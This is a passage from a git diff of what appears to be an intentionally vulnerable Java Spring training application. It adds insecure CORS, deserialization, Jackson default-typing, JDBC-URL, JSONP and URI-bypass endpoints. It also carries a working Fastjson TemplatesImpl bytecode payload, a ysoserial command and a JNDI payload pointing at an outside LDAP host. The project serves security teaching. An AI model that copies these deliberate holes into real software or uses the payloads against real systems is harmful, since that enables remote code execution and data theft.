+ + @GetMapping(value = "/vuln06") + public String vuln06(@CookieValue(value = "nick") String nick) { + return "Cookie nick: " + nick; + } + +} diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java new file mode 100644 index 00000000..5b7d9741 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cors.java @@ -0,0 +1,119 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author JoyChou (joychou@joychou.org) @2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/CORS + */ + +@RestController +@RequestMapping("/cors") +public class Cors { + + private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; + + @GetMapping("/vuln/origin") + public String vuls1(HttpServletRequest request, HttpServletResponse response) { + String origin = request.getHeader("origin"); + response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header + response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie + return info; + } + + @GetMapping("/vuln/setHeader") + public String vuls2(HttpServletResponse response) { + // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 + response.setHeader("Access-Control-Allow-Origin", "*"); + return info; + } + + + @GetMapping("*") + @RequestMapping("/vuln/crossOrigin") + public String vuls3() { + return info; + } + + + /** + * 重写Cors的checkOrigin校验方法 + * 支持自定义checkOrigin,让其额外支持一级域名 + * 代码:org/joychou/security/CustomCorsProcessor + */ + @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) + @GetMapping("/sec/crossOrigin") + public String secCrossOrigin() { + return info; + } + + + /** + * WebMvcConfigurer设置Cors + * 支持自定义checkOrigin + * 代码:org/joychou/config/CorsConfig.java + */ + @GetMapping("/sec/webMvcConfigurer") + public CsrfToken getCsrfToken_01(CsrfToken token) { + return token; + } + + + /** + * spring security设置cors + * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 + * 代码:org/joychou/security/WebSecurityConfig.java + */ + @GetMapping("/sec/httpCors") + public CsrfToken getCsrfToken_02(CsrfToken token) { + return token; + } + + + /** + * 自定义filter设置cors + * 支持自定义checkOrigin + * 代码:org/joychou/filter/OriginFilter.java + */ + @GetMapping("/sec/originFilter") + public CsrfToken getCsrfToken_03(CsrfToken token) { + return token; + } + + + /** + * CorsFilter设置cors。 + * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行 + * 代码:org/joychou/filter/BaseCorsFilter.java + */ + @RequestMapping("/sec/corsFilter") + public CsrfToken getCsrfToken_04(CsrfToken token) { + return token; + } + + + @GetMapping("/sec/checkOrigin") + public String seccode(HttpServletRequest request, HttpServletResponse response) { + String origin = request.getHeader("Origin"); + + // 如果origin不为空并且origin不在白名单内,认定为不安全。 + // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 + if (origin != null && SecurityUtil.checkURL(origin) == null) { + return "Origin is not safe."; + } + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); + return LoginUtils.getUserInfo2JsonStr(request); + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 14ac5bd9..55c82ab2 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,35 +1,100 @@ package org.joychou.controller; - -import org.springframework.stereotype.Controller; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.joychou.config.Constants; +import org.joychou.security.AntObjectInputStream; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; -import java.io.InputStream; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InvalidClassException; import java.io.ObjectInputStream; +import java.util.Base64; + +import static org.springframework.web.util.WebUtils.getCookie; /** - * @author: JoyChou - * @Date: 2018年06月14日 - * @Desc: 该应用必须有Commons-Collections包才能利用反序列化命令执行。 + * Deserialize RCE using Commons-Collections gadget. + * + * @author JoyChou @2018-06-14 */ - -@Controller +@RestController @RequestMapping("/deserialize") public class Deserialize { - @RequestMapping("/test") - @ResponseBody - public static String deserialize_test(HttpServletRequest request) throws Exception{ + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * http://localhost:8080/deserialize/rememberMe/vuln + */ + @RequestMapping("/rememberMe/vuln") + public String rememberMeVul(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + String rememberMe = cookie.getValue(); + byte[] decoded = Base64.getDecoder().decode(rememberMe); + + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + + return "Are u ok?"; + } + + /** + * Check deserialize class using black list.
+ * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
+ * http://localhost:8080/deserialize/rememberMe/security + */ + @RequestMapping("/rememberMe/security") + public String rememberMeBlackClassCheck(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); + + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + String rememberMe = cookie.getValue(); + byte[] decoded = Base64.getDecoder().decode(rememberMe); + + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + try { - InputStream iii = request.getInputStream(); - ObjectInputStream in = new ObjectInputStream(iii); - in.readObject(); // 触发漏洞 + AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException + in.readObject(); in.close(); - return "test"; - }catch (Exception e){ - return "exception"; + } catch (InvalidClassException e) { + logger.info(e.toString()); + return e.toString(); } + + return "I'm very OK."; } + + // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; + @RequestMapping("/jackson") + public void Jackson(String payload) { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + Object obj = mapper.readValue(payload, Object.class); + mapper.writeValueAsString(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } + } diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java new file mode 100644 index 00000000..f6746354 --- /dev/null +++ b/src/main/java/org/joychou/controller/Dotall.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + + + +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.regex.Pattern; + + +/** + * Spring Security CVE-2022-22978

+ * 漏洞相关wiki + * @author JoyChou @2023-01-212 + */ + +public class Dotall { + + + /** + * 官方spring-security修复commit记录 + */ + public static void main(String[] args) throws Exception{ + Pattern vuln_pattern = Pattern.compile("/black_path.*"); + Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); + + String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); + System.out.println("Poc: " + poc); + System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n + System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n + } +} diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 8359a1bc..37c4ec18 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -2,6 +2,7 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.parser.Feature; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; @@ -9,29 +10,26 @@ import org.springframework.web.bind.annotation.ResponseBody; - @Controller @RequestMapping("/fastjson") public class Fastjson { - @RequestMapping(value = "deserialize", method = {RequestMethod.POST }) + @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody - public static String Deserialize(@RequestBody String params) { + public String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 - System.out.println(params); try { // 将post提交的string转换为json JSONObject ob = JSON.parseObject(params); return ob.get("name").toString(); - }catch (Exception e){ - e.printStackTrace(); + } catch (Exception e) { return e.toString(); } } - public static void main(String[] args){ - String str = "{\"name\": \"fastjson\"}"; - JSONObject jo = JSON.parseObject(str); - System.out.println(jo.get("name")); // fastjson + public static void main(String[] args) { + // Open calc in mac + String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; + JSON.parseObject(payload, Feature.SupportNonPublicField); } } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 947b9496..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -1,36 +1,52 @@ package org.joychou.controller; +import com.fasterxml.uuid.Generators; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.FileOutputStream; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; +import java.util.UUID; + +import org.joychou.security.SecurityUtil; + /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.08.15 - * @desc: Java file upload + * File upload. + * + * @author JoyChou @ 2018-08-15 */ - @Controller @RequestMapping("/file") public class FileUpload { // Save the uploaded file to this folder - private static String UPLOADED_FOLDER = "/tmp/"; + private static final String UPLOADED_FOLDER = "/tmp/"; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + private static String randomFilePath = ""; - @GetMapping("/") + // uplaod any file + @GetMapping("/any") public String index() { return "upload"; // return upload.html page } + // only allow to upload pictures + @GetMapping("/pic") + public String uploadPic() { + return "uploadPic"; // return uploadPic.html page + } + @PostMapping("/upload") public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) { @@ -51,8 +67,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, } catch (IOException e) { redirectAttributes.addFlashAttribute("message", "upload failed"); - e.printStackTrace(); - return "uploadStatus"; + logger.error(e.toString()); } return "redirect:/file/status"; @@ -63,4 +78,121 @@ public String uploadStatus() { return "uploadStatus"; } -} + // only upload picture + @PostMapping("/upload/picture") + @ResponseBody + public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception { + if (multifile.isEmpty()) { + return "Please select a file to upload"; + } + + String fileName = multifile.getOriginalFilename(); + String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 + String mimeType = multifile.getContentType(); // 获取MIME类型 + String filePath = UPLOADED_FOLDER + fileName; + File excelFile = convert(multifile); + + + // 判断文件后缀名是否在白名单内 校验1 + String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; + boolean suffixFlag = false; + for (String white_suffix : picSuffixList) { + if (Suffix.toLowerCase().equals(white_suffix)) { + suffixFlag = true; + break; + } + } + if (!suffixFlag) { + logger.error("[-] Suffix error: " + Suffix); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + + + // 判断MIME类型是否在黑名单内 校验2 + String[] mimeTypeBlackList = { + "text/html", + "text/javascript", + "application/javascript", + "application/ecmascript", + "text/xml", + "application/xml" + }; + for (String blackMimeType : mimeTypeBlackList) { + // 用contains是为了防止text/html;charset=UTF-8绕过 + if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { + logger.error("[-] Mime type error: " + mimeType); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + } + + // 判断文件内容是否是图片 校验3 + boolean isImageFlag = isImage(excelFile); + deleteFile(randomFilePath); + + if (!isImageFlag) { + logger.error("[-] File is not Image"); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + + + try { + // Get the file and save it somewhere + byte[] bytes = multifile.getBytes(); + Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); + Files.write(path, bytes); + } catch (IOException e) { + logger.error(e.toString()); + deleteFile(filePath); + return "Upload failed"; + } + + logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); + logger.info("[+] Successfully uploaded {}", filePath); + return String.format("You successfully uploaded '%s'", filePath); + } + + private void deleteFile(String filePath) { + File delFile = new File(filePath); + if(delFile.isFile() && delFile.exists()) { + if (delFile.delete()) { + logger.info("[+] " + filePath + " delete successfully!"); + return; + } + } + logger.info(filePath + " delete failed!"); + } + + /** + * 为了使用ImageIO.read() + * + * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 + * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + */ + private File convert(MultipartFile multiFile) throws Exception { + String fileName = multiFile.getOriginalFilename(); + String suffix = fileName.substring(fileName.lastIndexOf(".")); + UUID uuid = Generators.timeBasedGenerator().generate(); + randomFilePath = UPLOADED_FOLDER + uuid + suffix; + // 随机生成一个同后缀名的文件 + File convFile = new File(randomFilePath); + boolean ret = convFile.createNewFile(); + if (!ret) { + return null; + } + FileOutputStream fos = new FileOutputStream(convFile); + fos.write(multiFile.getBytes()); + fos.close(); + return convFile; + } + + /** + * Check if the file is a picture. + */ + private static boolean isImage(File file) throws IOException { + BufferedImage bi = ImageIO.read(file); + return bi != null; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java new file mode 100644 index 00000000..e500b980 --- /dev/null +++ b/src/main/java/org/joychou/controller/GetRequestURI.java @@ -0,0 +1,51 @@ +package org.joychou.controller; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +/** + * The difference between getRequestURI and getServletPath. + * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。 + *

+ * Details: https://joychou.org/web/security-of-getRequestURI.html + *

+ * Poc: + * http://localhost:8080/css/%2e%2e/exclued/vuln + * http://localhost:8080/css/..;/exclued/vuln + * http://localhost:8080/css/..;bypasswaf/exclued/vuln + * + * @author JoyChou @2020-03-28 + */ + +@RestController +@RequestMapping("uri") +public class GetRequestURI { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @GetMapping(value = "/exclued/vuln") + public String exclued(HttpServletRequest request) { + + String[] excluedPath = {"/css/**", "/js/**"}; + String uri = request.getRequestURI(); // Security: request.getServletPath() + PathMatcher matcher = new AntPathMatcher(); + + logger.info("getRequestURI: " + uri); + logger.info("getServletPath: " + request.getServletPath()); + + for (String path : excluedPath) { + if (matcher.match(path, uri)) { + return "You have bypassed the login page."; + } + } + return "This is a login page >..<"; + } +} diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java index 5874ffc3..9950e766 100644 --- a/src/main/java/org/joychou/controller/IPForge.java +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -1,25 +1,23 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.29 - * @desc: Java获取IP安全代码 - * @detail: 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html + * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html + * + * @author JoyChou @ 2017-12-29 */ - -@Controller +@RestController @RequestMapping("/ip") public class IPForge { + // no any proxy @RequestMapping("/noproxy") - @ResponseBody public static String noProxy(HttpServletRequest request) { return request.getRemoteAddr(); } @@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) { String ip = request.getHeader("X-Real-IP"); if (StringUtils.isNotBlank(ip)) { return ip; - }else { + } else { String remoteAddr = request.getRemoteAddr(); if (StringUtils.isNotBlank(remoteAddr)) { return remoteAddr; diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java index a8ebd2ab..df922e7d 100644 --- a/src/main/java/org/joychou/controller/Index.java +++ b/src/main/java/org/joychou/controller/Index.java @@ -2,31 +2,51 @@ import com.alibaba.fastjson.JSON; +import org.apache.catalina.util.ServerInfo; import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import javax.servlet.http.HttpServletRequest; import java.util.HashMap; import java.util.Map; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.05.28 - * @desc: Index Page + * Index page + * + * @author JoyChou @2018-05-28 */ - @Controller public class Index { - @RequestMapping("/") + + @RequestMapping("/appInfo") @ResponseBody - public static String index() { - Map m = new HashMap(); - m.put("app_name", "java_vul_code"); + public static String appInfo(HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); + Map m = new HashMap<>(); + + m.put("tomcat_version", ServerInfo.getServerInfo()); + m.put("username", username); + m.put("login", "success"); + m.put("app_name", "java security code"); m.put("java_version", System.getProperty("java.version")); m.put("fastjson_version", JSON.VERSION); // covert map to string return JSON.toJSONString(m); } + + @RequestMapping("/") + public String redirect() { + return "redirect:/index"; + } + + @RequestMapping("/index") + public static String index(Model model, HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); + model.addAttribute("user", username); + return "index"; + } } diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java deleted file mode 100644 index 6913e903..00000000 --- a/src/main/java/org/joychou/controller/JSONP.java +++ /dev/null @@ -1,50 +0,0 @@ -package org.joychou.controller; - -import org.joychou.utils.Security; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - - -/** - * @author JoyChou - * @date 2018年10月24日 - */ - -@Controller -@RequestMapping("/jsonp") -public class JSONP { - - protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; - - - // http://localhost:8080/jsonp/referer?callback=test - @RequestMapping("/referer") - @ResponseBody - private static String referer(HttpServletRequest request, HttpServletResponse response) { - // JSONP的跨域设置 - response.setHeader("Access-Control-Allow-Origin", "*"); - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - - // http://localhost:8080/jsonp/sec?callback=test - @RequestMapping("/sec") - @ResponseBody - private static String sec(HttpServletRequest request, HttpServletResponse response) { - // JSONP的跨域设置 - response.setHeader("Access-Control-Allow-Origin", "*"); - String referer = request.getHeader("referer"); - Security sec = new Security(); - if (!sec.checkSafeUrl(referer, urlwhitelist)) { - return "Referer is not safe."; - } - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java new file mode 100644 index 00000000..eb9381e3 --- /dev/null +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -0,0 +1,141 @@ +package org.joychou.controller; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +import com.alibaba.fastjson.JSONPObject; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang.StringUtils; +import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.json.MappingJackson2JsonView; +import org.joychou.config.WebConfig; +import org.joychou.util.WebUtils; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; + + +/** + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/JSONP + */ + +@Slf4j +@RestController +@RequestMapping("/jsonp") +public class Jsonp { + + private String callback = WebConfig.getBusinessCallback(); + + @Autowired + CookieCsrfTokenRepository cookieCsrfTokenRepository; + /** + * Set the response content-type to application/javascript. + *

+ * http://localhost:8080/jsonp/vuln/referer?callback_=test + */ + @RequestMapping(value = "/vuln/referer", produces = "application/javascript") + public String referer(HttpServletRequest request) { + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Direct access does not check Referer, non-direct access check referer. + * Developer like to do jsonp testing like this. + *

+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test + */ + @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") + public String emptyReferer(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (null != referer && SecurityUtil.checkURL(referer) == null) { + return "error"; + } + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Adding callback or _callback on parameter can automatically return jsonp data. + * http://localhost:8080/jsonp/object2jsonp?callback=test + * http://localhost:8080/jsonp/object2jsonp?_callback=test + * + * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. + * Such as JSONOjbect or JavaBean. String type cannot be used. + */ + @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE) + public JSONObject advice(HttpServletRequest request) { + return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request)); + } + + + /** + * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test + * Reference: https://p0sec.net/index.php/archives/122/ from p0 + * Affected version: java-sec-code test case version: 4.3.6 + * - Spring Framework 5.0 to 5.0.6 + * - Spring Framework 4.1 to 4.3.17 + */ + @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) + public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { + ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); + Principal principal = req.getUserPrincipal(); + view.addObject("username", principal.getName()); + return view; + } + + + /** + * Safe code. + * http://localhost:8080/jsonp/sec?callback_=test + */ + @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") + public String safecode(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (SecurityUtil.checkURL(referer) == null) { + return "error"; + } + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa + * + * object to jsonp + */ + @GetMapping("/getToken") + public CsrfToken getCsrfToken1(CsrfToken token) { + return token; + } + + /** + * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa + * + * fastjsonp to jsonp + */ + @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") + public String getCsrfToken2(HttpServletRequest request) { + CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token + + String callback = request.getParameter("fastjsonpCallback"); + if (StringUtils.isNotBlank(callback)) { + 